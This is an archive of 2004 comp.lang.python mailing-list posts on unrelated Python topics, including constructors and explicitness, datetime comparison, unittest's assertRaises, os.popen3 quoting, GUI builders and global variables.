References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com>
	<1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com>
	<eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com>
	<1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com>
	<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com>
	<1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com>
	<iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com>
Message-ID: <1gjg2g0.1yx50mvx6csq3N%aleaxit@yahoo.com>

Dan Perl <dperl at rogers.com> wrote:
   ...
> > > I can imagine there can be very good languages, with their own uses and
> > > advantages, if the reverse principle were consistently used.
   ...
> > even small languages grow, if they're successful.  Do you have specific
> > examples in mind of very good languages based on "implicit is better
> > than explicit"?
> 
> No, I do not have an example, but I still stand by my comment.  Maybe it's
> just impossible to use the principle "implicit is better than explicit"
> consistently because you need at least something explicit.

Well, you can imagine anything, including many impossible things, so I
guess your original comment is impossible to falsify -- but that very
solidity makes it rather weak in information content;-)


> > > that, because it comes with the dynamic typing), so you cannot have a
> > > default constructor and a non-default one at the same time.  C++ and
   ...
> > Not with the same name.  You can have all alternative constructors you
> > want if you give them different names -- that's a popular use of
   ...
> We may have a disagreement in terminology, but I was using "overloading" in
> the C++/Java sense, which means strictly samename, different signatures.

Nevertheless, the observation "you cannot have a default constructor and
a non-default one at the same time" is not correct.  If you want to
insist that the constructors MUST all be named __init__, otherwise
they're not constructors but "methods which construct but we cannot name
constructors because constructors must be named __init__", go ahead, but
then, again, we are at an information-free tautology.  My point is: you
can have any number of "methods which construct" (constructants? I think
calling them constructors is more idiomatic English!-), just by choosing
the same number of names, one each.  So drawing any conclusion from a
premise that "you cannot have a default constructor and a non-default
one at the same time" is faulty reasoning -- the premise is false (by
any meaningful interpretation of the terms in it) so you can prove
anything from it.  You may want to try and correctly deduce something
from the true assertion -- "if you have a default constructor and a
non-default one they must have two different names" -- but I don't think
anything necessarily follows from this one.


> > Java and C++ _could_ mandate a default ctor, but they don't -- it would
> > be a very bad design decision for them to do so, and their designers
> > aren't THAT bad:-).  It's perfectly possible to have a class that just
> > CANNOT be constructed without some specific arguments.
> 
> Try this C++ code:
>     #include <iostream>
>     class Class1 {
>     public:
>         Class1(int arg )
>             {
>             std::cout << "Class1 Constructor"  << std::endl;
>             }
>     };
>     class Class2 : public Class1 {
>     public:
>         Class2(int arg)
>             {
>             std::cout << "Class2 Constructor"  << std::endl;
>             }
>     };
>     int main(int argc, char **argv)
>         {
>         Class2 c2 = Class2(9);
>         }
> 
> The compiler (I tried gcc) will give an error that the Class1::CLass1( )
> constructor is missing.

Sure, this C++ code is faulty.  The way gcc diagnoses that error is
debatable; I would say the fault is more likely to be a missing
" :Class1(someinteger) " between the "Class2(int arg)" and the following
open-brace.  I've made my life for years in a job where one of my main
tasks was helping hundreds of programmers write good C++, I've seen this
error often, and the "solution" of adding to Class1 a constructor
callable without arguments was very rarely the right one; almost
invariably those mandatory arguments in Class1's constructor _WERE_
indeed logically necessary -- the class just could not make instances
with meaningful internal state (meeting not just the class invariants,
but the "business purpose" of the class) without those arguments.  The
solution was (if the inheritance between concrete classes just could not
be removed in favour of preferable idioms such as Martin's Dependency
Inversion Principle) to ensure subclasses specified the needed arguments
for their superclasses -- that's exactly what C++'s syntax

Class2(int arg): Class1(someint) { ... }

is _for_.  ("two-phase constructor" and other solutions also emerge
here).

In brief: given Class1 as it is, you have to call Class1's constructor
explicitly in Class2's constructor, just like in Python (but with far
less flexibility, because it needs to happen _before_ Class2's
constructor body executes -- whence possible needs for two-phase
constructor and the like).

>  Without the non-default Class1 constructor, the
> compiler would have created a default constructor, IMPLICITLY.  Note that
> even C++ chooses not to create the implicit, default, constructor anymore if
> you have a non-default constructor.  You have to do it explicitly, even if
> it's an empty one.

Or more likely, you have to call Class1's constructor explicitly from
Class'2 constructor.  But sure, C++ does have more implicit, "black
magic" behavior "behind the scenes" than Python in quite a few aspects
(though not an unbounded amount) -- the implicit no-arguments do-nothing
constructor is NOT an example, because the result is exactly the same
you get in Python if you have no __init__ at all.

 
> Anyway, in C++, if I write a library with a class like Class1, I can create
> a default constructor to initialize all the members with default values if
> there is no need for non-default values.  C++ gives me that possibility.  A
> user of my library (who will never know me) can use this library and does
> not need to know anything about the Class1 constructor.  This is consistent
> with the principle of encapsulation, so subclasses don't need to know
> anything about how the superclass is implemented.

Encapsulation does not mean you can use a class without knowing its
public methods (including constructors).  In particular, inheritance is
a strong coupling, and the superclass must document if it's meant to be
inherited from, with what constructors, what virtual methods allowable
for override, and so on.

> Not in Python.  A user of my library has to invoke the parent's class
> __init__ in their own __init__.  What happens if, in a future release, I get
> rid of the __init__ in the parent class?  Or the other way around.  An early
> release does not have a parent __init__, the users don't invoke it because
> they can't, and then, in a future release, I add the parent __init__ because
> I added some attributes.  It breaks all the users' code.  This is poor
> encapsulation.

What (public or protected, in C++) constructors your class has, and with
what arguments, is part of your class's public interface -- of _course_
it's going to break the code of anybody who uses that interface, if you
change the interface between releases.

This is also true in C++, of course.  If you want to follow the popular
convention of making all your classes 'canonic' -- all purvued of
default ctor, copy ctor, virtual dtor, default assignment -- you can,
but if you make that choice and publish it (and you'd better publish it,
otherwise how are users of your library going to take any advantage from
its existence?!) then you need to stick with it forevermore or break
users' code.  Similarly, in Python, if you want to guarantee to users
that all your classes have an __init__ which may be called without
arguments, nothing at all stops you from doing that -- and then you need
to stick to that published interface aspect, of course.

There are many ways in Python in which you can guarantee that all your
classes have an __init__ which can be called without arguments.  If you
need __init__ to be also callable WITH arguments, then make the
arguments optional and check whether they are there -- or give them all
default values just like you could do in C++ (in C++ the default ctor is
not necessarily one "without arguments" -- it can also have arguments as
long as they all have default values).  Or go for clarity and make
__init__ argument-less, using classmethods for all other constructors,
as you'd doubtlessly do in Smalltalk, for example.  The real problem is
distorting all of your design to ensure all your classes can have
instances with a sensible initial state when instantiated without
arguments -- I think that's far too heavy a price to pay.

Consider for example a Person class.  You know all persons have a SSN
(Social Security Number), so how can you instantiate Person without
making an SSN argument mandatory?   Basically only by inventing a weird
state for Person instances which is "not fully initialized yet because
the SSN is not known" -- and then ALL methods which could normally count
on the class invariant "instance has a valid SSN" cannot count on that
class invariant any more, must check and contort everything in sight.
What a horrid way to program.  It is quite common to get into this bind
if you adhere to the religion of giving EVERY class a default ctor,
because semantically significant classes as they come from a good design
will OFTEN have aspects that it just makes no business-logic sense to
"default" -- so you end up with flags &c to say "this is a PhoneNumber
class instance but it doesn't actually have a number so you can't use it
yet until it's fully initialized", "this is a MailingAddress class
instance but [ditto]", and so on ad nauseam.  No thanks!

 
> I think this IS a case where "implicit is better than explicit".

No way: by implicitly trying to call a parent class's default ctor in
any subclass's ctor, C++ is encouraging you to make default ctors
everywhere, and far too often it's better not to have them.  Make ctor
calls explicit and live happily.

I've already explained how you can simulate C++'s behavior, and indeed
get even MORE implicit if you wish, and I think it would be a disaster
to USE such a custom metaclass; but if you're sincere in saying it's
better then you should be KEEN to use it.  I'm supposed to do other
things this evening (changing some scripts to generate DocBook rather
than XHTML from some semantic-level markup -- fun, fun, fun...;-) but
maybe I'll find the time to take a break and show you the custom
metaclass you need to perpetrate this horror, since you state it's
"better" than Python's explicitness -- no promises tho...


Alex


From szmyd at colostate.edu  Thu Sep  9 23:18:56 2004
From: szmyd at colostate.edu (Brian Szmyd)
Date: Thu, 09 Sep 2004 21:18:56 -0600
Subject: Regular Expressions Problem
References: <808f000f.0409091048.36488ec5@posting.google.com>
Message-ID: <dLOdnVs1apLwgNzcRVn-hg@comcast.com>

Oriana wrote:

> Hi!
> 
>   I'm trying to 'clean up' this source file using regular expressions
> in Python. My problem is, that when I try to delete extra lines, my
> code fails. Here's an example....
> 
> /**
> *
> * Project:      MyProject
> *
> *
> *
> *
> *
> *
> *
> * Description:
> *
> *    This file contains the some code.
> *
> * Public Functions:
> *
> *     function_1
> *     function_2
> *
> * Private Functions:
> *
> *    None.
> *
> *
> * Notes:
> *
> *    None.
> *
> *
> *
> *************************************************************************/
> 
> 
> .....I would like my code to only have one * space between lines, and
> not all that white space that I see there. I tried to use the regular
> expression: '^\*\n$^\*\n$' but that does not work. I've tried a bunch
> of things and none of them seem to work....please help!!! Thanks in
> advance, Oriana

Are you reading in the file line by line? If so, why not just have a flag
that states you've seen a empty line, and then if the flag is true, do not
output any more empty lines till you see a non-emtpy line?

Pseudo-Code:

fp = openfile($filename)
op = openfine($newfile)

emptyline = 0
while(not fp.eof())
    line = fp.readline()
    
    if (isEmpty(line))
        if(emptyline) continue          
        emptyline = 1
    else
        emptyline = 0

    op.writeline(line)

Of course you'll have to decide how you want isEmpty() to decide if a string
is an empty line, but this should be pretty painless.

-regards
brian szmyd


From brandon at ten22.rhodesmill.org  Thu Sep  9 11:33:30 2004
From: brandon at ten22.rhodesmill.org (Brandon Craig Rhodes)
Date: Thu, 09 Sep 2004 11:33:30 -0400
Subject: limiting symbols in C module
Message-ID: <877jr3e9th.fsf@ten22.rhodesmill.org>

Python modules written in C are often written as single .c files
(sometimes quite large) so that everything can be declared "static"
except for the init<module>() function; and though the Extending and
Embedding document is unfortunately rather quiet on the many issues
that arise during linking, the suggestion seems to be that minimizing
the number of symbols exported by the module is good.

As I update a Python module that provides an interface to an extensive
collection of existing C functions, I note that the process of linking
my module .o with all of the .o files produced by compiling the other
code produces a Python module with a huge number of symbols.

  1) Is this bad and should be avoided?

I note that running strip(1) with the "-K" option allows me to strip
all defined symbols from the module except for the one init<module>
symbol that I want to keep.

  2) Do the distutils know how to perform this operation?  This would
     even allow Python modules to be written as several manageable .c
     files rather than one huge one.

  3) Can the distutils be induced to perform such a strip even if they
     do not quite know how themselves, or is the whole issue going to
     be different enough on, say, Windows, that it cannot be handled
     portably with the distutils in their current form?

-- 
Brandon Craig Rhodes   brandon at rhodesmill.org   http://rhodesmill.org/brandon


From deetsNOSPAM at web.de  Tue Sep 14 09:20:54 2004
From: deetsNOSPAM at web.de (Diez B. Roggisch)
Date: Tue, 14 Sep 2004 15:20:54 +0200
Subject: comparing datetime with date
References: <mailman.3292.1095162740.5135.python-list@python.org>
Message-ID: <ci6r7k$gav$03$1@news.t-online.com>

Donnal Walter wrote:

> I was very surprised to discover that
> 
>  >>> import datetime
>  >>> x = datetime.date(2004, 9, 14)
>  >>> y = datetime.datetime(2004, 9, 14, 6, 43, 15)
>  >>> print x == y
> True

I think thats perfectly legal - a date object should care only about if the
object it is compared to contains some sort of valid date information, and
restrict its comparision to that.

The matter is that you try to compare two different things here - so its up
to the implementation if how it deals with this, as there is no canonical
way to compare two things that aren't even structural equivalent.

The current implementation chose one way to do it - and thats as good as any
other one could think of, and certainly has some convenience advantage on
its side.
 
> How can these two objects be considered equal? Is there a *general* way
> to test for date != datetime as well as 4.5 != 4.6?

Try making a datetime-object from your date, with zeros for the time part -
then you'll get what you want.

-- 
Regards,

Diez B. Roggisch


From adeger at netlibrary.com  Tue Sep 21 16:50:48 2004
From: adeger at netlibrary.com (adeger)
Date: 21 Sep 2004 13:50:48 -0700
Subject: Add other class attributes to HTMLgen tags?
Message-ID: <b8001e9f.0409211250.4017f0d5@posting.google.com>

For use of CSS how do I do something 
like insert a 'class' attribute into an 
HTML tag like:

<TABLE class='standard'></TABLE>

I've really made a good faith effort to find this
in the documentation and elsewhere on the web with
no luck.

Thanks in advance,
ard


From carribeiro at gmail.com  Fri Sep 24 10:08:22 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Fri, 24 Sep 2004 11:08:22 -0300
Subject: up with PyGUI!
In-Reply-To: <Xns956D93ADD811BOKB@130.133.1.4>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<414783DD.4070509@zephyrfalcon.org>
	<4lf4d.15151$pA.1180511@news20.bellglobal.com>
	<4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de>
	<Xns956D93ADD811BOKB@130.133.1.4>
Message-ID: <864d3709040924070873d4708f@mail.gmail.com>

On 23 Sep 2004 21:31:10 GMT, OKB (not okblacke)
<brennospambarn at nobrenspambarn.net> wrote:
>         I've recently been working on a system that lets you do that kind
> of thing.  It's a set of metaclasses that wrap the wxPython classes so
> you define your GUI with nested class structures.  Certain things are
> hard here because of the way class definitions are handled in Python,
> but I am making progress.

I think I have solved the first half of your problem. Please check my
"Call for suggestions" post from yesterday. I implemented a Container
metaclass that can take nested class declarations and generate a
representation with a few important features:

-- it's ordered (in the same order as the original declarations in the
source code)
-- all nested classes are converted to instances

Please check it, and let me know if you're interested. I'm focusing my
work on this part now, I'm purposefully not dealing with the GUI; I
have my own ideas regarding the GUI part, but let us solve one problem
at a time, right?

>         If anyone's interested, you can see an example of what the GUI code
> looks like at http://www.brenbarn.net/misc/idealgui.txt .  This is code
> that actually produces a working program with my current setup.  It
> won't work for anyone else, of course, because I haven't made my library
> available yet.  My main goal here, though, is to get it so the code
> LOOKS nice, so just seeing how the code looks will give you an idea of
> the style.

It seems like we're looking for similar solutions. I'm looking for
more people to start a separate discussion to avoid spamming c.l.py.
Please drop me a note if you're interested.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From joshl at commenspace.org  Mon Sep 20 16:11:58 2004
From: joshl at commenspace.org (Josh)
Date: Mon, 20 Sep 2004 13:11:58 -0700
Subject: urlretrieve hangs on large files (sometimes)
Message-ID: <2QG3d.18$ZC3.38058@news.uswest.net>

Hi.  I am writing a script that downloads lots of zips from a usgs site. 
  All is going well except that occasionally, in the midst of 
downloading a file, the script just hangs and i must either ctrl-break 
it (running from command line) or, if I wait about 20 minutes after it 
hangs, even that won't allow me to close it.  Either way, I must then 
restart the program and have it pick up where it left off.

I don't know much about python or http, but I believe that the problem 
is website sometimes does not respond to the 'get' (or whatever 
urlretrieve ) request is in a timely manner:  certainly the site 
sometimes takes a bit of a break even when downloading with IE, for 
example.  However IE or other download managers continue -- my python 
script just hangs.

Here is the relevant code, I think:

	out = file(outFile, "wb")
	(filename, headers,) = urllib.urlretrieve(dlinks[count], outFile, 
reporthook=report)
	out.close()

I am making a haphazard guess that somewhere in the bowels of 
urlretrieve there is a timeout setting for the http get command, and if 
the site does not respond in time it gets all upset and confused. 
Whether I am wrong or right -- any suggestions?

Thanks a lot.

   -Josh


From nicolas at lehuen.com  Wed Sep  1 04:36:57 2004
From: nicolas at lehuen.com (Nicolas Lehuen)
Date: 1 Sep 2004 01:36:57 -0700
Subject: Generator expressions v/s list comprehensions
References: <mahesh-525B07.12195528082004@individual.net>
	<5d83790c.0408311434.3cc38c24@posting.google.com>
Message-ID: <b644658b.0409010036.5300b62@posting.google.com>

python at rcn.com (Raymond Hettinger) wrote in message news:<5d83790c.0408311434.3cc38c24 at posting.google.com>...
> [Mahesh Padmanabhan]
> > Now I see that generator expressions have been added to the language 
> > with 2.4 and I question the need for it. I know that it allows for lazy 
> > evaluation which speeds things up for larger lists but why was it 
> > necessary to add it instead of improving list comprehension? 
> 
> FWIW, we improved list comprehensions too.  They run much faster now.
> 
> 
> Raymond

IIRC, list constructors and list comprehensions now use the length of
the underlying sequence (if it defines __len__) to preallocate its
internal array.

Thus, the list comprehension is theoritically more efficient in this
case :

[x for x in range(100000)] vs [x for x in xrange(100000)]

So [x for x in whatever] may be preferable to list(x for x in
whatever) if you don't know what 'whatever' is and it happens in
define __len__.

BTW, I guess this is no longer true with an if statement :

[x for x in range(100000) if x%2==0] may be less efficient than [x for
x in xrange(100000) if x%2==0]

Regards,

Nicolas Lehuen


From carribeiro at gmail.com  Fri Sep 17 11:26:54 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Fri, 17 Sep 2004 12:26:54 -0300
Subject: Economic considerations
In-Reply-To: <m3acvp38zv.fsf@g2ctech.com>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com>
	<1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <f5ao12-46u.ln1@lairds.us>
	<m3acvp38zv.fsf@g2ctech.com>
Message-ID: <864d370904091708266effa3b0@mail.gmail.com>

On Thu, 16 Sep 2004 23:49:24 -0300, Jorge Godoy <godoy at ieee.org> wrote:
> claird at lairds.us (Cameron Laird) writes:
> > Incidentally, my expert sources emphasize to me that GIMP still
> > has a long way to go before it effectively rivals Photoshop.
> 
< (snip)
> In fact, we might already have tools to do everything Photoshop does.
> The difference is that we try to keep it simple (KISS) and bundle
> several specialized tools, while Photoshop tries to be a swiss army
> knife, bundling everything together.

While true to a certain extent, this is not the problem. As I've
mentioned in another thread, this is a case where the closed source
application is simply superior in technical terms. It's not only
packaging -- it works better, more efficiently, and has better
algorithms specially when it comes to color mapping between devices,
and anything that involves perceptual color models and management.

> I'm hearing more the FUD of "I want to use Linux but then I have to use
> one thousand commands and programs to get the same results I get with
> <proprietary program> on <proprietary OS>".

With all respect, this is not FUD. It's based on fact. In *many* cases
the OS app is not conveniently packaged. Part of this is that most
people that use OS apps are used to (and even like) having to glue
everything together.

No we're going completely offtopic, but anyway, why not? :-) I think
everyone can relate with a joke about cars and people that work with
cars. Often we see people that work everyday with cars -- specially
mechanics -- driving cars that, from any reasonably perspective, are a
complete mess. Doors hanging semi-opened are not unheard of :-). But
the car works, and his owner actually likes that mess. I think we can
see some of this in OS apps. Those who know how they are implemented
derive a certain pleasure from the fact that they can look at the
inside whenever they can, mess up with settings, and stuff like that.
Those who want a car -- or an OS, or an application -- only for actual
use doesn't like this, and prefer something nicely packaged, that
hides all details, and simply works, and don't embarass them in front
of friends and family :-).

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From luismg at gmx.net  Fri Sep 24 22:48:28 2004
From: luismg at gmx.net (Neuruss)
Date: 24 Sep 2004 19:48:28 -0700
Subject: Python GUI, which one?
References: <mailman.3841.1096027498.5135.python-list@python.org>
	<Y5OdnbGC-vMNgMncRVn-iQ@powergate.ca>
Message-ID: <278de0e.0409241848.47bdc650@posting.google.com>

I only know 3:

1) Boa Contructor
2) PythonCard
3) BlackAdder (commercial)

Boa seems to be the more complete and popular, but I found it very
cluttered and confusing. I confess I'm a little bit impatient so
perhaps I should have tried harder...other people think it's great.

Pythoncard is a joy to work with. Very easy to learn and use, very
simple (it sticks to the KISS principle). I highly recommend it,
although it may not be as complete as Boa.

These two are based in wxPython, so they are cross-platform and both
will give your apps a native look and feel.

As for BlackAdder, it is commercial and is based in QT. It doesn't
give you a native look in windows but it's ok anyway. I can't say much
because the trial version has a very annoying way of working (it
doesn't let you save your work and it closes every few minutes, so you
never get anything done with it...).


From greg at invalid.invalid  Fri Sep 10 03:09:47 2004
From: greg at invalid.invalid (Greg Krohn)
Date: Fri, 10 Sep 2004 07:09:47 GMT
Subject: Can we use /MAKE inside the popen3 command?
In-Reply-To: <82880e86.0409092112.2176b26f@posting.google.com>
References: <82880e86.0409092112.2176b26f@posting.google.com>
Message-ID: <%qc0d.11951$w%6.7789@newsread1.news.pas.earthlink.net>

Ruchika wrote:

> Is it OK to use "/" or "-" characters in a string and then use that
> string inside the popen3 command? I am doing the following -
> 
> os.popen3('r'"C:\Program Files\... \EVC.exe"'
> r'"C:\Test\...\Test.vcp"' /MAKE "GFSDK - Win32 (WCE ARMV4) Release"
> /REBUILD"')
> 
> When I run this command in the Python shell, it says - "Syntax Error"
> and the marker is uderneath the "-" in  "GFSDK - Win32 (WCE ARMV4)
> Release". Not sure if the marker is actually pointing to specifically
> "-" or the entire /MAKE "GFSDK - Win32 (WCE ARMV4) Release" string.
> Anyone else came across similar problem?
> 
> Thanks for your help.
> 
> Ruchika

You've got a whole mess of strings there. They need to be straightened
out. ;)  If you are using r for raw string you only need it once at the
beginning, and it doesn't go inside the quotes. So, after all that's
fixed we get:

os.popen3(r'"C:\Program Files\... \EVC.exe" "C:\Test\...\Test.vcp" /MAKE "GFSDK - Win32 (WCE ARMV4) Release" /REBUILD')

Here's a few free suggestions at no extra charge. You don't really need
to use raw strings for Windows paths. Using forward slashed as always
worked fine for me. Also, it might be a good idea to split up the long
line, too. So this is how I would do it:

evc = '"C:/Program Files/... /EVC.exe"'
vcp = '"C:/Test/.../Test.vcp"'
switches = '/MAKE "GFSDK - Win32 (WCE ARMV4) Release" /REBUILD'
os.popen3(evc + ' ' + vcp + ' ' + switces)

Or better yet:

os.popen3('%s %s %s' % (evc, vcp, switches))


HTH,
greg


From aleaxit at yahoo.com  Mon Sep 13 03:15:06 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 13 Sep 2004 09:15:06 +0200
Subject: unittest.TestCase, lambda and __getitem__
References: <mailman.3214.1095049956.5135.python-list@python.org>
Message-ID: <1gk1nqx.1ul836r1k96yuhN%aleaxit@yahoo.com>

Steven Bethard <steven.bethard at gmail.com> wrote:
   ...
> Previously, I had written some code like:
> 
> self.assertRaises(ValueError, lambda: method(arg1, arg2))
> 
> This was a simple fix because assertRaises takes *args and **kwds, so
> I fixed it to look like:
> 
> self.assertRaises(ValueError, method, arg1, arg2)
> 
> which is much cleaner anyway (and what I should have been doing from

Agreed.

> the start). Where I get uneasy is when I run into code like:
> 
> self.assertRaises(ValueError, lambda: obj[index])
> 
> Presumably, I could write this as:
> 
> self.assertRaises(ValueError, obj.__getitem__, index)
> 
> I guess this makes me uneasy because I'm not entirely certain that
> obj[item] is *always* translated to obj.__getitem__(index).  Is it? 

Yes.

> That is, is there any way that obj[item] would get translated into a
> different method call?

No.

> Or is there a better/clearer way of handling this kind of test case?

Sure:

    def wrong_indexing(): return obj[index]
    self.assertRaises(ValueError, wrong_indexing)

Whatever you can do with self.assertRaises(X, lambda: YZT) you can
(essentially idenfically) do with the two statements:

    def anyname(): return YZT
    self.assertRaises(X, anyname)

If you have a series of slightly different lambdas on several
assertRaises calls, you can reuse the same name (if that makes sense),
since another def for the same name simply rebinds the name, just like
multiple successive assignments to the same name would.  Often you may
respect "once, and only once" better by factoring several lambdas into a
single def with an argument or two, of course.  But for a mechanical
transformation changing each lambda into one def works just fine, and I
think it's preferable in terms of reliability to delving into internals
to find out what special methods get called when.

Besides, the delving approach may be far from trivial if you ever try to
translate something like lambda:x+y since in THAT case you cannot
necessarily tell what method gets called on what object (__add__ on x,
or __radd__ on y?) -- here you might try operator.add, but what then
about lambda:x+y*z ...?


Alex



From donnal at donnal.net  Thu Sep 16 06:39:45 2004
From: donnal at donnal.net (Donnal Walter)
Date: Thu, 16 Sep 2004 05:39:45 -0500
Subject: comparing datetime with date
In-Reply-To: <cibk8f$oat$1@swifty.westend.com>
References: <mailman.3292.1095162740.5135.python-list@python.org>	<ci6r7k$gav$03$1@news.t-online.com>
	<cibk8f$oat$1@swifty.westend.com>
Message-ID: <cibqhi$ne1$1@sea.gmane.org>

Peter Maas wrote:

> Diez B. Roggisch schrieb:
> 
>> The matter is that you try to compare two different things here - so 
>> its up
>> to the implementation if how it deals with this, as there is no canonical
>> way to compare two things that aren't even structural equivalent.
> 
> 
> datetime and date are different by implementation, not by meaning. Both
> are time intervals.

Actually both are time *points* (as opposed to time intervals) with 
differing degress of precision. My problem is somewhat akin to comparing 
4.0 with 4.00001. For some purposes it might be appropriate to consider 
these two values to be the same, but I need for them to be different.

Donnal Walter
Arkansas Children's Hospital





From tim.peters at gmail.com  Wed Sep 15 16:45:41 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Wed, 15 Sep 2004 16:45:41 -0400
Subject: .py as executable extension on windows
In-Reply-To: <cia8p4$i1j$02$1@news.t-online.com>
References: <cia8p4$i1j$02$1@news.t-online.com>
Message-ID: <1f7befae04091513456b10c8d1@mail.gmail.com>

[Achim Domma]
> is there a way to tell windows, that *.py files are executable, like
> .bat, .js, ...? If I have someTool.py somewhere in my path I would like
> to type only 'someTool param1 param2'. Is that possible?

Not on a command.com system (95/98/ME).  On a cmd.exe system
(NT/2K/XP), go to a DOS box and type

    ftype /?

Skip down to the part explaining PATHEXT.


From lynn at garlic.com  Thu Sep  9 12:29:16 2004
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Thu, 09 Sep 2004 10:29:16 -0600
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<uisaoutfz.fsf@mail.comcast.net>
	<slaphc.beh1.ln@via.reistad.priv.no> <u1xhbv9s3.fsf@mail.comcast.net>
	<r5sphc.a4l1.ln@via.reistad.priv.no>
Message-ID: <usm9rtnhf.fsf@mail.comcast.net>

Morten Reistad <firstname at lastname.pr1v.n0> writes:
> In 1987 T1's(or E1's in this end of the pond)  were pretty normal; 
> T3's was state of the art. But it is not very difficult to design
> interfaces that shift the data into memory; and 1987'is cumputers
> could handle a few hundred megabit worth of data pipe without too
> much trouble; but you needed direct DMA access, not some of the
> then standard busses or channels.
>
> IBM always designed stellar hardware for such things; what was 
> normally needed was the software. To see what Cisco got away with
> regarding lousy hardware (GS-series) is astonishing. 
>
> There was a large job to be done to handle routing and network
> management issues. BGP4 didn't come out until 1994, nor did 
> a decent OSPF or SNMP. 

even in mid-80s .... t1/e1 ... the only (ibm) support was the really
old 2701 and the special zirpel card in the Series/1 that had been
done for FSD.

in fall 1986, there was a technology project out of la gaude that was
looking at a T1 card for the 37xx ... however, the communication
division wasn't really planning on T1 until at least 1991. They had
done a customer survey. since ibm (mainframe) didn't have any T1
support ... they looked at customers that were using 37xx "fat pipe"
support that allowed ganging of multiple 56kbit into single logical
unit. they plotted the number of ganged 56kbit links that customers
had installed .... 2-56kbit links, 3-56kbit links, 4-56kbit links,
5-56kbit links. However, they found no customers with more than five
gnaged 56kbit links in a single fat-pipe. Based on that they weren't
projecting any (mainframe) T1 useage before 1991.

what they didn't appear to realize was that the (us) tariffs at the
time had cross-over where five or six 56kbit links were about the same
price as a single T1. so what was happening ... customers that hit
five or six 56kbit links ... were making transition directly to T1 and
then using non-IBM hardware to drive the link (which didn't show up on
the communication divisions 37xx high-speed communication
survey). hsdt easily identified at least 200 customers with T1
operation (using non-ibm hardware support) at the time the
communication division wasn't projecting any mainframe T1 support
before 1991.

because of the lack of T1 support (other than the really old 2701 and
the fairly expensive zirple-series/1 offering) ... was one of the
reasons that the NSFNET1 response went with (essentially) a pbx
multiplexor on the point-to-point telco T1 links ... with the actual
computer links running 440kbits/cards with the pc/rt 440kbit/sec cards.

hsdt
http://www.garlic.com/~lynn/subnetwork.html#hsdt

had several full-blown T1 links since the early 80s ... and was
working with a project for a full-blown ISA 16-bit T1 card ... with
some neat crypto tricks.

I think it was supercomputing 1990 (or 1991?) in austin where they
were demo'ing T3 links to offsite locations.

-- 
Anne & Lynn Wheeler | http://www.garlic.com/~lynn/


From ark at acm.org  Tue Sep  7 01:21:04 2004
From: ark at acm.org (Andrew Koenig)
Date: Tue, 07 Sep 2004 05:21:04 GMT
Subject: Constants in Python
References: <Slb%c.389920$%_6.21712@attbi_s01>
Message-ID: <4zb%c.320940$OB3.263474@bgtnsc05-news.ops.worldnet.att.net>

"Brent W. Hughes" <brent.hughes at comcast.net> wrote in message 
news:Slb%c.389920$%_6.21712 at attbi_s01...

> I was planning to write some code something like this:

> class CTree:
>    LEAFSIZE = 4
>    LeafNode = [None] * LEAFSIZE
>    KEY,DATA,LEFT,RIGHT = range(LEAFSIZE)
> #---------------------------------------------------
>    def Add(self,Node,SubTree):
>        Key1 = Node[KEY]

> But then I realized that the last line (and many more similar lines)
> would probably need to be writen thusly:

>        Key1 = Node[CTree.KEY]

How about this?

            Key1 = Node[self.KEY]

Seems consistent with other class-relative usages.




From len-1 at telus.net  Sat Sep  4 13:11:53 2004
From: len-1 at telus.net (Lenard Lindstrom)
Date: Sat, 04 Sep 2004 17:11:53 GMT
Subject: Trouble accessing global vars
References: <sonjj0d6b7fsafjnphqcdqrm0ia59qt8ti@4ax.com>
Message-ID: <brgmuike.fsf@telus.net>

Fernando Rodr?guez <fernandoSPAM.YOURSELF at fernando-rodriguez.com> writes:

> Hi,
> 
> I haven't used Python in quite some time, and I'm bit puzzled by this:
> 
> counter = 0
> 
> class Blah(object):
> 	def run(self):
> 		counter += 1
> 
> b = Blah()
> b.run()
> 
> Traceback (most recent call last):
>   File "<pyshell#53>", line 1, in -toplevel-
>     b.run()
>   File "<pyshell#51>", line 3, in run
>     counter += 1
> UnboundLocalError: local variable 'counter' referenced before assignment
> 
> However, counter is not a local var, it's a global one. :-? Shouldn't this
> work?

Name counter has to be declared global in method run:

class Blah(object):
    def run(self):
        global counter
        counter += 1

The augmented assignment statements such as counter += 1 bind a name to
a value. Binding a name within a function block makes the variable local
by default.

Lenard Lindstrom
<len-l at telus.net>


From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom  Fri Sep  3 18:46:00 2004
From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.)
Date: Sat, 4 Sep 2004 00:46:00 +0200
Subject: Encoding problems
References: <mailman.2782.1094151426.5135.python-list@python.org>	<ch7t8s$tvq$1@news-reader4.wanadoo.fr>	<mailman.2787.1094157018.5135.python-list@python.org>	<41378609$0$24820$9b622d9e@news.freenet.de>
	<mailman.2815.1094201367.5135.python-list@python.org>
	<ch9u9i$rho$1@zeppelin.rz.uni-potsdam.de>
Message-ID: <chas8d$8n9$1@news-reader2.wanadoo.fr>

Bonsoir !


Le code-page de l' iso-8859-2 doit ?tre le 912   (d'apr?s Google)

